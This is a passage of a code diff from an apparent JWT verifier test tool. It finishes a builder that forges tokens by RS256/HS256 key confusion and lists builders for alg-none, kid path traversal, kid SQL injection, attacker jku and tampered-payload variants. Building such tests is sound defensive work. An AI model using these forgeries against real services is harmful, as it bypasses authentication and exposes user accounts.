sig_bytes = hmac.new(pem, f"{h_b64}.{p_b64}".encode(), hashlib.sha256).digest()
|
|
222
|
+
sig_b64 = base64url_encode(sig_bytes)
|
|
223
|
+
return Variant(
|
|
224
|
+
name="hs_rs_confusion",
|
|
225
|
+
description=(
|
|
226
|
+
"alg switched to HS256 and signed with the public key as the HMAC secret — "
|
|
227
|
+
"verifier must pin one algorithm family per key"
|
|
228
|
+
),
|
|
229
|
+
cve=_CVE_HS_RS_CONFUSION,
|
|
230
|
+
token=f"{h_b64}.{p_b64}.{sig_b64}",
|
|
231
|
+
)
|
|
232
|
+
|
|
233
|
+
|
|
234
|
+
_BUILDERS = {
|
|
235
|
+
"alg_none_lower": _build_alg_none_lower,
|
|
236
|
+
"alg_none_upper": _build_alg_none_upper,
|
|
237
|
+
"alg_none_mixed": _build_alg_none_mixed,
|
|
238
|
+
"empty_signature": _build_empty_signature,
|
|
239
|
+
"kid_path_traversal": _build_kid_path_traversal,
|
|
240
|
+
"kid_sql_injection": _build_kid_sql_injection,
|
|
241
|
+
"jku_attacker": _build_jku_attacker,
|
|
242
|
+
"jwk_embedded": _build_jwk_embedded,
|
|
243
|
+
"tampered_payload": _build_tampered_payload,
|
|
244
|
+
"hs_rs_confusion": _build_hs_rs_confusion,
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
|
|
248
|
+
# Helpers
|
|
249
|
+
|
|
250
|
+
|
|
251
|
+
def _with_alg(header: dict, alg: str) -> dict:
|
|
252
|
+
return {**header, "alg": alg}
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
def _b64_json(obj: dict) -> str:
|
|
256
|
+
return base64url_encode(json.dumps(obj, separators=(",", ":")).encode())
|
|
257
|
+
|
|
258
|
+
|
|
259
|
+
def _emit(header: dict, payload: dict, *, signature: str) -> str:
|
|
260
|
+
return f"{_b64_json(header)}.{_b64_json(payload)}.{signature}"
|